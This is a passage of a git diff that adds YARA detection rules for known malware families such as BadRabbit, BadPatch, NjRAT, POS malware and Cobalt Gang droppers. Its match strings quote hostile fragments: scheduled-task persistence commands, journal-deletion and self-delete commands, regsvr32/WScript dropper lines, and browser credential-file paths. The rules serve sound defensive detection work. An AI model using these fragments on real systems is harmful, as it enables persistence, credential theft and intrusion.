+		description = "Detects ATM Malware XFSCashNCR"
+		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
+		date = "2019-08-28"
+		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
+
+		id = "0a70ef9a-9dde-54c9-a3a2-dfceff32932b"
+	strings:
+		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8} // CDM Status
+		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8} // Dispense
+		$x_StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
+		$x_StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
+		$x_StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
+		$x_StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
+		$x_PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
+		$LogFile = "XfsLog.txt" nocase ascii
+
+	condition:
+		uint16(0) == 0x5A4D and filesize < 1500KB and ( 1 of ($x*) or 2 of them )
+}
diff --git a/yara-Neo23x0/crime_bad_patch.yar b/yara-Neo23x0/crime_bad_patch.yar
new file mode 100644
index 0000000..ad5f509
--- /dev/null
+++ b/yara-Neo23x0/crime_bad_patch.yar
@@ -0,0 +1,74 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-20
+   Identifier: BadPatch
+   Reference: https://goo.gl/RvDwwA
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WinAgent_BadPatch_1 {
+   meta:
+      description = "Detects samples mentioned in BadPatch report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/RvDwwA"
+      date = "2017-10-20"
+      hash1 = "285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813"
+      id = "732792ed-cb70-5b69-8457-f54177e4609e"
+   strings:
+      $x1 = "J:\\newPatch\\downloader\\" wide
+      $x2 = "L:\\rashed\\New code\\" wide
+      $x3 = ":\\newPatch\\last version\\" wide
+      $x4 = "\\Microsoft\\Microsoft\\Microsoft1.log" wide
+      $x5 = "\\Microsoft\\Microsoft\\Microsoft.log" wide
+      $x6 = "\\Microsoft\\newPP.exe" wide
+      $x7 = " (this is probably a proxy server error)." fullword wide
+      $x8 = " :Old - update patch and check anti-virus.. " fullword wide
+      $x9 = "PatchNotExit-- download now.. " fullword wide
+      $x10 = "PatchNotExit-- Check Version" fullword wide
+      $x11 = "PatchNotExit-- Version Patch" fullword wide
+
+      $s1 = "downloader " fullword wide
+      $s2 = "DelDownloadFile" fullword ascii
+      $s3 = "downloadFile" fullword ascii
+      $s4 = "downloadUpdate" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 4 of them ) )
+}
+
+rule WinAgent_BadPatch_2 {
+   meta:
+      description = "Detects samples mentioned in BadPatch report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/RvDwwA"
+      date = "2017-10-20"
+      hash1 = "106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea"
+      hash2 = "ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7"
+      hash3 = "cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876"
+      hash4 = "802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2"
+      hash5 = "278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d"
+      hash6 = "2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e"
+      hash7 = "46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0"
+      hash8 = "27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247"
+      hash9 = "050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c"
+      id = "648528f0-351c-527e-b516-2c8cae9fb4a3"
+   strings:
+      $s1 = "myAction=shell_result&serialNumber=" fullword wide
+      $s2 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.*" wide
+      $s3 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide
+      $s4 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.*" wide
+      $s5 = "newSHELL[" fullword wide
+      $s6 = "\\file1.txt" wide
+      $s7 = "myAction=newGIF&serialNumber=" fullword wide
+      $s8 = "\\Storege1" wide
+      $s9 = "\\Microsoft\\mac.txt" wide
+      $s10 = "spytube____:" fullword ascii
+      $s11 = "0D0700045F5C5B0312045A04041F40014B1D11004A1F19074A141100011200154B031C04" fullword wide
+      $s12 = "16161A1000012B162503151851065A1A0007" fullword wide
+      $s13 = "-- SysFile...." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and 3 of them )
+}
diff --git a/yara-Neo23x0/crime_badrabbit.yar b/yara-Neo23x0/crime_badrabbit.yar
new file mode 100644
index 0000000..1ffb006
--- /dev/null
+++ b/yara-Neo23x0/crime_badrabbit.yar
@@ -0,0 +1,59 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-25
+   Identifier: BadRabbit
+   Reference: https://pastebin.com/Y7pJv3tK
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule BadRabbit_Gen {
+   meta:
+      description = "Detects BadRabbit Ransomware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://pastebin.com/Y7pJv3tK"
+      date = "2017-10-25"
+      hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
+      hash2 = "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648"
+      hash3 = "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da"
+      id = "272e50f8-5aef-52ec-a5d0-01e8504d6c55"
+   strings:
+      $x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST" fullword wide
+      $x2 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\"" fullword wide
+      $x3 = "C:\\Windows\\infpub.dat" fullword wide
+      $x4 = "C:\\Windows\\cscc.dat" fullword wide
+
+      $s1 = "need to do is submit the payment and get the decryption password." fullword ascii
+      $s2 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
+      $s3 = "\\\\.\\pipe\\%ws" fullword wide
+      $s4 = "fsutil usn deletejournal /D %c:" fullword wide
+      $s5 = "Run DECRYPT app at your desktop after system boot" fullword ascii
+      $s6 = "Files decryption completed" fullword wide
+      $s7 = "Disable your anti-virus and anti-malware programs" fullword wide
+      $s8 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
+      $s9 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
+      $s10 = "%ws C:\\Windows\\%ws,#1 %ws" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule BadRabbit_Mimikatz_Comp {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://pastebin.com/Y7pJv3tK"
+      date = "2017-10-25"
+      hash1 = "2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035"
+      id = "52affd3f-6bf9-55f6-92a5-69314a2e76e0"
+   strings:
+      $s1 = "%lS%lS%lS:%lS" fullword wide
+      $s2 = "lsasrv" fullword wide
+      $s3 = "CredentialKeys" ascii
+      /* Primary\x00m\x00s\x00v */
+      $s4 = { 50 72 69 6D 61 72 79 00 6D 00 73 00 76 00 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 3 of them )
+}
diff --git a/yara-Neo23x0/crime_bazarbackdoor.yar b/yara-Neo23x0/crime_bazarbackdoor.yar
new file mode 100644
index 0000000..b52aa01
--- /dev/null
+++ b/yara-Neo23x0/crime_bazarbackdoor.yar
@@ -0,0 +1,18 @@
+rule crime_win64_backdoor_bazarbackdoor1 {
+    meta:
+        description = "Detects BazarBackdoor injected 64-bit malware"
+        author = "@VK_Intel"
+        reference = "https://twitter.com/pancak3lullz/status/1252303608747565057"
+        tlp = "white"
+        date = "2020-04-24"
+        id = "1e387791-97fa-527d-87ed-68872b1891c4"
+    strings:
+        $str1 = "%id%"
+        /* $str2 = "%d" // disabled due to performance concerns */ 
+
+        $start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??}
+        $server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3}
+    condition:
+        //( uint16(0) == 0x5a4d and ( 3 of them ) ) or ( all of them )
+        uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_bernhard_pos.yar b/yara-Neo23x0/crime_bernhard_pos.yar
new file mode 100644
index 0000000..bde9676
--- /dev/null
+++ b/yara-Neo23x0/crime_bernhard_pos.yar
@@ -0,0 +1,18 @@
+rule BernhardPOS {
+     meta:
+          author = "Nick Hoffman / Jeremy Humble"
+          last_update = "2015-07-14"
+          source = "Morphick Inc."
+          description = "BernhardPOS Credit Card dumping tool"
+          reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+          md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
+          score = 70
+          id = "9b9e1507-cf1b-5653-beaa-458205e367c3"
+     strings:
+          $shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+          $mutex_name = "OPSEC_BERNHARD" 
+          $build_path = "C:\\bernhard\\Debug\\bernhard.pdb" 
+          $string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+     condition:
+          any of them
+ }
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_bluenoroff_pos.yar b/yara-Neo23x0/crime_bluenoroff_pos.yar
new file mode 100644
index 0000000..61aaee0
--- /dev/null
+++ b/yara-Neo23x0/crime_bluenoroff_pos.yar
@@ -0,0 +1,20 @@
+
+rule BluenoroffPoS_DLL {
+   meta:
+      description = "Bluenoroff POS malware - hkp.dll"
+      author = "http://blog.trex.re.kr/"
+      reference = "http://blog.trex.re.kr/3?category=737685"
+      date = "2018-06-07"
+      id = "d2b34b50-c7eb-5852-ba5d-734dd5038c2e"
+   strings:
+      $dll = "ksnetadsl.dll" ascii wide fullword nocase
+      $exe = "xplatform.exe" ascii wide fullword nocase
+      $agent = "Nimo Software HTTP Retriever 1.0" ascii wide nocase
+      $log_file = "c:\\windows\\temp\\log.tmp" ascii wide nocase
+      $base_addr = "%d-BaseAddr:0x%x" ascii wide nocase
+      $func_addr = "%d-FuncAddr:0x%x" ascii wide nocase
+      $HF_S = "HF-S(%d)" ascii wide
+      $HF_T = "HF-T(%d)" ascii wide
+   condition:
+      5 of them
+}
diff --git a/yara-Neo23x0/crime_buzus_softpulse.yar b/yara-Neo23x0/crime_buzus_softpulse.yar
new file mode 100644
index 0000000..1f8f9e0
--- /dev/null
+++ b/yara-Neo23x0/crime_buzus_softpulse.yar
@@ -0,0 +1,26 @@
+
+rule Win32_Buzus_Softpulse {
+	meta:
+		description = "Trojan Buzus / Softpulse"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-13"
+		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
+		score = 75
+		id = "3b555916-030a-5773-b2f1-e995fc81b697"
+	strings:
+		$x1 = "pi4izd6vp0.com" fullword ascii
+
+		$s1 = "SELECT * FROM Win32_Process" fullword wide
+		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
+		$s5 = "Find_RepeatProcess" fullword ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" wide
+		$s7 = "myapp.exe" fullword ascii
+		$s14 = "/c ping -n 1 www.google" wide
+	condition:
+		uint16(0) == 0x5a4d and 
+			( 
+				( $x1 and 2 of ($s*) ) or
+				all of ($s*) 
+			)
+}
diff --git a/yara-Neo23x0/crime_cmstar.yar b/yara-Neo23x0/crime_cmstar.yar
new file mode 100644
index 0000000..de3c426
--- /dev/null
+++ b/yara-Neo23x0/crime_cmstar.yar
@@ -0,0 +1,20 @@
+
+rule ce_enfal_cmstar_debug_msg {
+	meta:
+		author = "rfalcone"
+		description = "Detects the static debug strings within CMSTAR"
+		reference = "http://goo.gl/JucrP9"
+		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+		date = "5/10/2015"
+		id = "2c483f20-4fa8-5246-9dcb-8868db64b6e3"
+	strings:
+		$d1 = "EEE\x0d\x0a" fullword
+		$d2 = "TKE\x0d\x0a" fullword
+		$d3 = "VPE\x0d\x0a" fullword
+		$d4 = "VPS\x0d\x0a" fullword
+		$d5 = "WFSE\x0d\x0a" fullword
+		$d6 = "WFSS\x0d\x0a" fullword
+		$d7 = "CM**\x0d\x0a" fullword
+	condition:
+		uint16(0) == 0x5a4d and all of ($d*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_cn_campaign_njrat.yar b/yara-Neo23x0/crime_cn_campaign_njrat.yar
new file mode 100644
index 0000000..d24c02f
--- /dev/null
+++ b/yara-Neo23x0/crime_cn_campaign_njrat.yar
@@ -0,0 +1,160 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-08
+   Identifier: Disclosed Chinese Malware Set - mostly NjRAT
+   Reference: https://twitter.com/cyberintproject/status/961714165550342146
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CN_disclosed_20180208_lsls {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+      date = "2018-02-08"
+      hash1 = "94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9"
+      id = "c6c4aa72-1a84-552f-bea0-38b332a74233"
+   strings:
+      $x1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" fullword ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 3000KB and $x1
+}
+
+rule CN_disclosed_20180208_c {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+      date = "2018-02-08"
+      hash1 = "17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7"
+      id = "cb0bcdc4-7eca-59b7-a947-85c232d4e599"
+   strings:
+      $x1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+      $x2 = "schtasks /create /sc minute /mo 1 /tn Server /tr " fullword wide
+      $x3 = "www.upload.ee/image/" wide
+
+      $s1 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
+      $s2 = "/Server.exe" fullword wide
+      $s3 = "Executed As " fullword wide
+      $s4 = "WmiPrvSE.exe" fullword wide
+      $s5 = "Stub.exe" fullword ascii
+      $s6 = "Download ERROR" fullword wide
+      $s7 = "shutdown -r -t 00" fullword wide
+      $s8 = "Select * From AntiVirusProduct" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+        1 of ($x*) or
+        4 of them
+      )
+}
+
+rule CN_disclosed_20180208_System3 {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyberintproject/status/961714165550342146"
+      date = "2018-02-08"
+      hash1 = "73fa84cff51d384c2d22d9e53fc5d42cb642172447b07e796c81dd403fb010c2"
+      id = "097f4506-295d-5066-8895-2148436731c1"
+   strings:
+      $a1 = "WmiPrvSE.exe" fullword wide
+
+      $s1 = "C:\\Users\\sgl\\AppData\\Local\\" ascii
+      $s2 = "Temporary Projects\\WmiPrvSE\\" ascii
+      $s3 = "$15a32a5d-4906-458a-8f57-402311afc1c1" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and $a1 and 1 of ($s*)
+}
+
+
+rule CN_disclosed_20180208_Mal1 {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+      date = "2018-02-08"
+      hash1 = "173d69164a6df5bced94ab7016435c128ccf7156145f5d26ca59652ef5dcd24e"
+      id = "8516bbfb-a2ad-565d-bf6c-71629b1831a1"
+   strings:
+      $x1 = "%SystemRoot%\\system32\\termsrvhack.dll" fullword ascii
+      $x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+
+      $a1 = "taskkill /f /im cmd.exe" fullword ascii
+      $a2 = "taskkill /f /im mstsc.exe" fullword ascii
+      $a3 = "taskkill /f /im taskmgr.exe" fullword ascii
+      $a4 = "taskkill /f /im regedit.exe" fullword ascii
+      $a5 = "taskkill /f /im mmc.exe" fullword ascii
+      $s1 = "K7TSecurity.exe" fullword ascii
+      $s2 = "ServUDaemon.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and (
+        pe.imphash() == "28e3a58132364197d7cb29ee104004bf" or
+        1 of ($x*) or
+        3 of them
+      )
+}
+
+rule CN_disclosed_20180208_KeyLogger_1 {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+      date = "2018-02-08"
+      hash1 = "c492889e1d271a98e15264acbb21bfca9795466882520d55dc714c4899ed2fcf"
+      id = "12eff9b6-1a65-5efc-b39c-88297bdae9c3"
+   strings:
+      $x2 = "Process already elevated." fullword wide
+      $x3 = "GetKeyloggErLogsResponse" fullword ascii
+      $x4 = "get_encryptedPassword" fullword ascii
+      $x5 = "DoDownloadAndExecute" fullword ascii
+      $x6 = "GetKeyloggeRLogs" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_disclosed_20180208_Mal4 {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+      date = "2018-02-08"
+      hash1 = "f7549c74f09be7e4dbfb64006e535b9f6d17352e236edc2cdb102ec3035cf66e"
+      id = "6165caf5-157f-5381-a77e-6ed775187ab1"
+   strings:
+      $s1 = "Microsoft .Net Framework COM+ Support" fullword ascii
+      $s2 = "Microsoft .NET and Windows XP COM+ Integration with SOAP" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them and pe.exports("SPACE")
+}
+
+rule CN_disclosed_20180208_Mal5 {
+   meta:
+      description = "Detects malware from disclosed CN malware set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+      date = "2018-02-08"
+      hash1 = "24c05cd8a1175fbd9aca315ec67fb621448d96bd186e8d5e98cb4f3a19482af4"
+      hash2 = "05696db46144dab3355dcefe0408f906a6d43fced04cb68334df31c6dfd12720"
+      id = "b1933610-9e6d-5eed-ba30-ccdd0d3a6124"
+   strings:
+      $s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+      $s2 = "Server.exe" fullword ascii
+      $s3 = "System.Windows.Forms.Form" fullword ascii
+      $s4 = "Stub.Resources.resources" fullword ascii
+      $s5 = "My.Computer" fullword ascii
+      $s6 = "MyTemplate" fullword ascii
+      $s7 = "Stub.My.Resources" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
diff --git a/yara-Neo23x0/crime_cn_group_btc.yar b/yara-Neo23x0/crime_cn_group_btc.yar
new file mode 100644
index 0000000..3eca917
--- /dev/null
+++ b/yara-Neo23x0/crime_cn_group_btc.yar
@@ -0,0 +1,61 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-22
+   Identifier: CN Group Tools
+   Reference: Internal Research
+*/
+
+rule BTC_Miner_lsass1_chrome_2 {
+   meta:
+      description = "Detects a Bitcoin Miner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - CN Actor"
+      date = "2017-06-22"
+      super_rule = 1
+      score = 60
+      hash1 = "048e9146387d6ff2ac055eb9ddfbfb9a7f70e95c7db9692e2214fa4bec3d5b2e"
+      hash2 = "c8db8469287d47ffdc74fe86ce0e9d6e51de67ba1df318573c9398742116a6e8"
+      id = "7960d96a-7bd3-5135-867d-e39a02274c45"
+   strings:
+      $x1 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
+      $x2 = "-O, --userpass=U:P    username:password pair for mining server" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 6000KB and 1 of them )
+}
+
+rule CN_Actor_RA_Tool_Ammyy_mscorsvw {
+   meta:
+      description = "Detects Ammyy remote access tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - CN Actor"
+      date = "2017-06-22"
+      hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
+      hash2 = "d9ec0a1be7cd218042c54bfbc12000662b85349a6b78731a09ed336e5d3cf0b4"
+      id = "71a0c5a9-b4dc-508d-a6b7-4b85b75bc34b"
+   strings:
+      $s1 = "Please enter password for accessing remote computer" fullword ascii
+      $s2 = "Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt" fullword ascii
+      $s3 = "It will automatically be run the next time this computer is restart or you can start it manually" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and 3 of them )
+}
+
+rule CN_Actor_AmmyyAdmin {
+   meta:
+      description = "Detects Ammyy Admin Downloader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - CN Actor"
+      date = "2017-06-22"
+      score = 60
+      hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
+      id = "08ffb61a-e2de-538e-9d9f-040276324af9"
+   strings:
+      $x2 = "\\Ammyy\\sources\\main\\Downloader.cpp" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
diff --git a/yara-Neo23x0/crime_cobalt_gang_pdf.yar b/yara-Neo23x0/crime_cobalt_gang_pdf.yar
new file mode 100644
index 0000000..d884e8a
--- /dev/null
+++ b/yara-Neo23x0/crime_cobalt_gang_pdf.yar
@@ -0,0 +1,12 @@
+rule Cobaltgang_PDF_Metadata_Rev_A {
+   meta:
+      description = "Find documents saved from the same potential Cobalt Gang PDF template"
+      author = "Palo Alto Networks Unit 42"
+      date = "2018-10-25"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
+      id = "bcf5bf6e-c786-5f78-bf58-e0631a17e62e"
+   strings:
+      $ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide
+   condition:
+      any of them
+}
diff --git a/yara-Neo23x0/crime_cobaltgang.yar b/yara-Neo23x0/crime_cobaltgang.yar
new file mode 100644
index 0000000..4635f61
--- /dev/null
+++ b/yara-Neo23x0/crime_cobaltgang.yar
@@ -0,0 +1,95 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-09
+   Identifier: Cobalt Gang
+   Reference: Internal Research
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+/* Removed Beacon rules - only in THOR */
+
+rule CobaltStrike_CN_Group_BeaconDropper_Aug17 {
+   meta:
+      description = "Detects Script Dropper of Cobalt Gang used in August 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-09"
+      hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
+      hash2 = "1c845bb0f6b9a96404af97dcafdc77f1629246e840c01dd9f1580a341f554926"
+      hash3 = "6206e372870ea4f363be53557477f9748f1896831a0cdef3b8450a7fb65b86e1"
+      id = "5631b0bc-9e25-524a-9003-73779fd492f7"
+   strings:
+      $x1 = "WriteLine(\"(new ActiveXObject('WScript.Shell')).Run('cmd /c c:/" ascii
+      $x2 = "WriteLine(\" (new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" ascii
+      $x3 = "sh.Run(env('cmd /c set > %temp%" ascii
+      $x4 = "sh.Run('regsvr32 /s /u /i:" ascii
+      $x5 = ".Get('Win32_ScheduledJob').Create('regsvr32 /s /u /i:" ascii
+      $x6 = "scrobj.dll','********" ascii
+      $x7 = "www.thyssenkrupp-marinesystems.org" fullword ascii
+      $x8 = "f.WriteLine(\" tLnk=env('%tmp%/'+lnkName+'.lnk');\");" fullword ascii
+      $x9 = "lnkName='office 365'; " fullword ascii
+      $x10 = ";sh=x('WScript.Shell');" ascii
+   condition:
+      ( filesize < 200KB and 1 of them )
+}
+
+rule CobaltGang_Malware_Aug17_1 {
+   meta:
+      description = "Detects a Cobalt Gang malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
+      date = "2017-08-09"
+      hash1 = "6d70673b723f338b3febc9f1d69463bdd4775539cb92b5a5d8fccc0d977fa2f0"
+      id = "56c6f4f8-ccf5-5665-ac21-67f0a9b67cf1"
+   strings:
+      $s1 = "ServerSocket.EXE" fullword wide
+      $s2 = "Incorrect version of WS2_32.dll found" fullword ascii
